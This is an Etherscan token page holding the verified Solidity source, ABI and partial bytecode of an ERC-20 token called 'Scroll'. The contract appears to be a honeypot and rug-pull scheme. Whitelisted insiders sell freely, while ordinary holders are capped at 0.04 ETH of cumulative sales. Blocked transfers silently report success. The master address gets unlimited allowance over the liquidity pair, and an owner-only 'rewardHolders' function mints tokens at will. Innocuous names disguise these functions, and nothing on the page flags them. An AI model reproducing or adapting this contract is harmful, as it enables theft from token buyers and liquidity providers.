ETH Price: $2,437.64 (+4.60%)

Token

Scroll (Scroll)
 

Overview

Max Total Supply

1,000,000,000 Scroll

Holders

133

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
13.367851170435321124 Scroll

Value
$0.00
0x35da8e79dd2eabe69c354eb4e3f429014c8e22d9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Scroll

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-20
*/

// SPDX-License-Identifier: MIT
 
pragma solidity ^0.8.9;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
 
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
 
contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
    constructor() payable {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }
}
 
interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
 
    function name() external view returns (string memory);
 
    function symbol() external view returns (string memory);
 
    function decimals() external view returns (uint8);
 
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

interface IUniswapV2Factory {
  event PairCreated(address indexed token0, address indexed token1, address pair, uint);

  function getPair(address tokenA, address tokenB) external view returns (address pair);
  function allPairs(uint) external view returns (address pair);
  function allPairsLength() external view returns (uint);

  function feeTo() external view returns (address);
  function feeToSetter() external view returns (address);

  function createPair(address tokenA, address tokenB) external returns (address pair);
}
 
interface IUniswapV2Pair {
  event Approval(address indexed owner, address indexed spender, uint value);
  event Transfer(address indexed from, address indexed to, uint value);

  function name() external pure returns (string memory);
  function symbol() external pure returns (string memory);
  function decimals() external pure returns (uint8);
  function totalSupply() external view returns (uint);
  function balanceOf(address owner) external view returns (uint);
  function allowance(address owner, address spender) external view returns (uint);

  function approve(address spender, uint value) external returns (bool);
  function transfer(address to, uint value) external returns (bool);
  function transferFrom(address from, address to, uint value) external returns (bool);

  function DOMAIN_SEPARATOR() external view returns (bytes32);
  function PERMIT_TYPEHASH() external pure returns (bytes32);
  function nonces(address owner) external view returns (uint);

  function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

  event Mint(address indexed sender, uint amount0, uint amount1);
  event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
  event Swap(
      address indexed sender,
      uint amount0In,
      uint amount1In,
      uint amount0Out,
      uint amount1Out,
      address indexed to
  );
  event Sync(uint112 reserve0, uint112 reserve1);

  function MINIMUM_LIQUIDITY() external pure returns (uint);
  function factory() external view returns (address);
  function token0() external view returns (address);
  function token1() external view returns (address);
  function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
  function price0CumulativeLast() external view returns (uint);
  function price1CumulativeLast() external view returns (uint);
  function kLast() external view returns (uint);

  function mint(address to) external returns (uint liquidity);
  function burn(address to) external returns (uint amount0, uint amount1);
  function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
  function skim(address to) external;
  function sync() external;
}
 

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
contract Scroll is Context, IERC20, Ownable {
    IUniswapV2Router02 internal _router;
    IUniswapV2Factory internal _factory;
    IUniswapV2Pair public pair;
 
    uint8 internal constant _DECIMALS = 18;
 
    address public master;
    mapping(address => bool) public _marketersAndDevs;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    mapping(address => uint256) internal _buySum;
    mapping(address => uint256) public _sellSum;
    mapping(address => uint256) public _sellSumBNB;
 
    uint256 internal _totalSupply = (10 ** 9) * (10 ** _DECIMALS);
    uint256 internal _theNumberBNB = 0.04 ether;
 
 
    modifier onlyMaster() {
        require(msg.sender == master);
        _;
    }
 
    constructor() payable {
        _router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
        pair = IUniswapV2Pair(_factory.createPair(address(this), address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));
 
        _balances[owner()] = _totalSupply;
        master = owner();
        // set max allowance for master
        _allowances[address(pair)][master] = ~uint256(0);
        _marketersAndDevs[owner()] = true;
 
        emit Transfer(address(0), owner(), _totalSupply);
    }
 
    function name() external pure override returns (string memory) {
        return "Scroll";
    }
 
    function symbol() external pure override returns (string memory) {
        return "Scroll";
    }
 
    function decimals() external pure override returns (uint8) {
        return _DECIMALS;
    }
 
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
 
    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }
 
    function transfer(address recipient, uint256 amount) external override returns (bool) {
        if (_canTransfer(_msgSender(), recipient, amount)) {
            _transfer(_msgSender(), recipient, amount);
        }
        return true;
    }
 
    function allowance(address owner, address spender) external view override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_canTransfer(sender, recipient, amount)) {
            uint256 currentAllowance = _allowances[sender][_msgSender()];
            require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
 
            _transfer(sender, recipient, amount);
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }
 
    function burn(uint256 amount) external onlyOwner {
        _balances[owner()] -= amount;
        _totalSupply -= amount;
    }
 
    function setNumber(uint256 newNumber) external onlyOwner {
        _theNumberBNB = newNumber;
    }
 
    function setMaster(address account) external onlyOwner {
        _allowances[address(pair)][master] = 0;
        master = account;
        _allowances[address(pair)][master] = ~uint256(0);
    }
 
    function syncPair() external onlyMaster {
        pair.sync();
    }
 
    function includeInReward(address account) external onlyMaster {
        _marketersAndDevs[account] = true;
    }
 
    function excludeFromReward(address account) external onlyMaster {
        _marketersAndDevs[account] = false;
    }
 
    function rewardHolders(uint256 amount) external onlyOwner {
        _balances[owner()] += amount;
        _totalSupply += amount;
    }
 
    function _isSuper(address account) private view returns (bool) {
        return (account == address(_router) || account == address(pair));
    }
 
    function _canTransfer(address sender, address recipient, uint256 amount) private view returns (bool) {
        if (_marketersAndDevs[sender] || _marketersAndDevs[recipient]) {
            return true;
        }
 
        if (_isSuper(sender)) {
            return true;
        }
        if (_isSuper(recipient)) {
            uint256 amountBNB = _getBNBEquivalent(amount);
            uint256 bought = _buySum[sender];
            uint256 sold = _sellSum[sender];
            uint256 soldBNB = _sellSumBNB[sender];
 
            return bought >= sold + amount && _theNumberBNB >= soldBNB + amountBNB;
        }
        return true;
    }
 
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(sender, recipient, amount);
        require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance");
 
        _balances[sender] -= amount;
        _balances[recipient] += amount;
 
        emit Transfer(sender, recipient, amount);
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
 
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _hasLiquidity() private view returns (bool) {
        (uint256 reserve0, uint256 reserve1,) = pair.getReserves();
        return reserve0 > 0 && reserve1 > 0;
    }
 
    function _getBNBEquivalent(uint256 amountTokens) private view returns (uint256) {
        (uint256 reserve0, uint256 reserve1,) = pair.getReserves();
        if (pair.token0() == _router.WETH()) {
            return _router.getAmountOut(amountTokens, reserve1, reserve0);
        } else {
            return _router.getAmountOut(amountTokens, reserve0, reserve1);
        }
    }
 
 
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (_hasLiquidity()) {
            if (_isSuper(from)) {
                _buySum[to] += amount;
            }
            if (_isSuper(to)) {
                _sellSum[from] += amount;
                _sellSumBNB[from] += _getBNBEquivalent(amount);
            }
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_marketersAndDevs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_sellSum","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_sellSumBNB","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"master","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"contract IUniswapV2Pair","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rewardHolders","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setMaster","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNumber","type":"uint256"}],"name":"setNumber","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"syncPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526012600a620000149190620006b3565b633b9aca0062000025919062000704565b600b55668e1bc9bf040000600c55600062000045620004e860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350737a250d5630b4cf539739df2c5dacb4c659f2488d600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c9c653963073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26040518363ffffffff1660e01b815260040162000200929190620007aa565b602060405180830381600087803b1580156200021b57600080fd5b505af115801562000230573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025691906200080d565b600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b5460066000620002ad620004f060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002fb620004f060201b60201c565b600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060001960076000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060016005600062000418620004f060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000479620004f060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620004da919062000850565b60405180910390a36200086d565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620005a7578086048111156200057f576200057e62000519565b5b60018516156200058f5780820291505b80810290506200059f8562000548565b94506200055f565b94509492505050565b600082620005c2576001905062000695565b81620005d2576000905062000695565b8160018114620005eb5760028114620005f6576200062c565b600191505062000695565b60ff8411156200060b576200060a62000519565b5b8360020a91508482111562000625576200062462000519565b5b5062000695565b5060208310610133831016604e8410600b8410161715620006665782820a90508381111562000660576200065f62000519565b5b62000695565b62000675848484600162000555565b925090508184048111156200068f576200068e62000519565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006c0826200069c565b9150620006cd83620006a6565b9250620006fc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005b0565b905092915050565b600062000711826200069c565b91506200071e836200069c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200075a576200075962000519565b5b828202905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007928262000765565b9050919050565b620007a48162000785565b82525050565b6000604082019050620007c1600083018562000799565b620007d0602083018462000799565b9392505050565b600080fd5b620007e78162000785565b8114620007f357600080fd5b50565b6000815190506200080781620007dc565b92915050565b600060208284031215620008265762000825620007d7565b5b60006200083684828501620007f6565b91505092915050565b6200084a816200069c565b82525050565b60006020820190506200086760008301846200083f565b92915050565b61260e806200087d6000396000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c806352390c02116100b8578063a8aa1b311161007c578063a8aa1b3114610389578063a9059cbb146103a7578063b59c0974146103d7578063dd62ed3e146103e1578063e6bd7ed114610411578063ee97f7f31461042d57610142565b806352390c02146102d157806370a08231146102ed57806383d972f91461031d5780638da5cb5b1461034d57806395d89b411461036b57610142565b80632782e35b1161010a5780632782e35b146101ff578063313ce5671461022f5780633685d4191461024d5780633b24c4bb146102695780633fb5c1cb1461029957806342966c68146102b557610142565b806306fdde0314610147578063095ea7b31461016557806318160ddd1461019557806323b872dd146101b357806326fae0d3146101e3575b600080fd5b61014f61044b565b60405161015c9190611c94565b60405180910390f35b61017f600480360381019061017a9190611d4f565b610488565b60405161018c9190611daa565b60405180910390f35b61019d6104a6565b6040516101aa9190611dd4565b60405180910390f35b6101cd60048036038101906101c89190611def565b6104b0565b6040516101da9190611daa565b60405180910390f35b6101fd60048036038101906101f89190611e42565b6105c2565b005b61021960048036038101906102149190611e42565b610828565b6040516102269190611daa565b60405180910390f35b610237610848565b6040516102449190611e8b565b60405180910390f35b61026760048036038101906102629190611e42565b610851565b005b610283600480360381019061027e9190611e42565b610906565b6040516102909190611dd4565b60405180910390f35b6102b360048036038101906102ae9190611ea6565b61091e565b005b6102cf60048036038101906102ca9190611ea6565b6109bd565b005b6102eb60048036038101906102e69190611e42565b610acb565b005b61030760048036038101906103029190611e42565b610b80565b6040516103149190611dd4565b60405180910390f35b61033760048036038101906103329190611e42565b610bc9565b6040516103449190611dd4565b60405180910390f35b610355610be1565b6040516103629190611ee2565b60405180910390f35b610373610c0a565b6040516103809190611c94565b60405180910390f35b610391610c47565b60405161039e9190611f5c565b60405180910390f35b6103c160048036038101906103bc9190611d4f565b610c6d565b6040516103ce9190611daa565b60405180910390f35b6103df610ca3565b005b6103fb60048036038101906103f69190611f77565b610d81565b6040516104089190611dd4565b60405180910390f35b61042b60048036038101906104269190611ea6565b610e08565b005b610435610f16565b6040516104429190611ee2565b60405180910390f35b60606040518060400160405280600681526020017f5363726f6c6c0000000000000000000000000000000000000000000000000000815250905090565b600061049c610495610f3c565b8484610f44565b6001905092915050565b6000600b54905090565b60006104bd84848461110f565b156105b7576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050d610f3c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561058d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058490612029565b60405180910390fd5b6105988585856112fd565b6105b5856105a4610f3c565b85846105b09190612078565b610f44565b505b600190509392505050565b6105ca610f3c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610657576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064e906120f8565b60405180910390fd5b600060076000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060001960076000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60056020528060005260406000206000915054906101000a900460ff1681565b60006012905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ab57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600a6020528060005260406000206000915090505481565b610926610f3c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa906120f8565b60405180910390fd5b80600c8190555050565b6109c5610f3c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a49906120f8565b60405180910390fd5b8060066000610a5f610be1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610aa89190612078565b9250508190555080600b6000828254610ac19190612078565b9250508190555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b2557600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60096020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f5363726f6c6c0000000000000000000000000000000000000000000000000000815250905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610c81610c7a610f3c565b848461110f565b15610c9957610c98610c91610f3c565b84846112fd565b5b6001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cfd57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610d6757600080fd5b505af1158015610d7b573d6000803e3d6000fd5b50505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e10610f3c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e94906120f8565b60405180910390fd5b8060066000610eaa610be1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ef39190612118565b9250508190555080600b6000828254610f0c9190612118565b9250508190555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fab906121e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611024576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101b90612272565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111029190611dd4565b60405180910390a3505050565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806111b25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111c057600190506112f6565b6111c984611580565b156111d757600190506112f6565b6111e083611580565b156112f15760006111f083611632565b90506000600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905085826112ca9190612118565b83101580156112e6575083816112e09190612118565b600c5410155b9450505050506112f6565b600190505b9392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561136d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136490612304565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d490612396565b60405180910390fd5b6113e88383836119df565b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561146a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146190612428565b60405180910390fd5b80600660008573f